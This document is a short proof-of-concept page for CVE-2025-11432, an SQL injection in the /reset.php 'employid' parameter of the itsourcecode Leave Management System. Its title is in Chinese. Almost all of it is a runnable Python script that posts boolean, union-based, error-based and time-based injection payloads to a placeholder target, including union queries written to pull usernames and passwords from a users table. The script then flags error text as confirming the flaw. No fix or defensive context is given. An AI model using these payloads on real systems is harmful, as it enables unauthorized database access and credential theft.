CVE-2025-11432：itsourcecode请假管理系统SQL注入漏洞

# CVE-2025-11432 PoC - SQL Injection in itsourcecode Leave Management System 1.0 # Vulnerability Location: /reset.php # Vulnerable Parameter: employid import requests TARGET_URL = "http://target-site.com/reset.php" VULNERABLE_PARAM = "employid" # Basic SQL Injection payload to test the vulnerability payloads = [ # Boolean-based blind SQL injection "1' OR '1'='1", "1' OR '1'='1' -- ", "1' OR '1'='1' #", # Union-based SQL injection (extract credentials) "1' UNION SELECT 1,2,3-- ", "' UNION SELECT username,password FROM users-- ", "' UNION SELECT NULL,username,password FROM users-- ", # Error-based SQL injection "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- ", # Time-based blind SQL injection "1' AND SLEEP(5)-- ", "1'; WAITFOR DELAY '0:0:5'-- ", ] def exploit_sql_injection(target_url, param, payload): """Send SQL injection payload to the vulnerable endpoint.""" data = {param: payload} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None if __name__ == "__main__": print(f"[*] Testing CVE-2025-11432 against: {TARGET_URL}") for i, payload in enumerate(payloads, 1): print(f"\n[+] Payload {i}: {payload[:60]}...") resp = exploit_sql_injection(TARGET_URL, VULNERABLE_PARAM, payload) if resp and resp.status_code == 200: print(f" Status: {resp.status_code}, Length: {len(resp.text)}") if "error" in resp.text.lower() or "warning" in resp.text.lower(): print(" [!] Possible SQL error detected - vulnerability confirmed") else: print(f" Status: {resp.status_code if resp else 'N/A'}")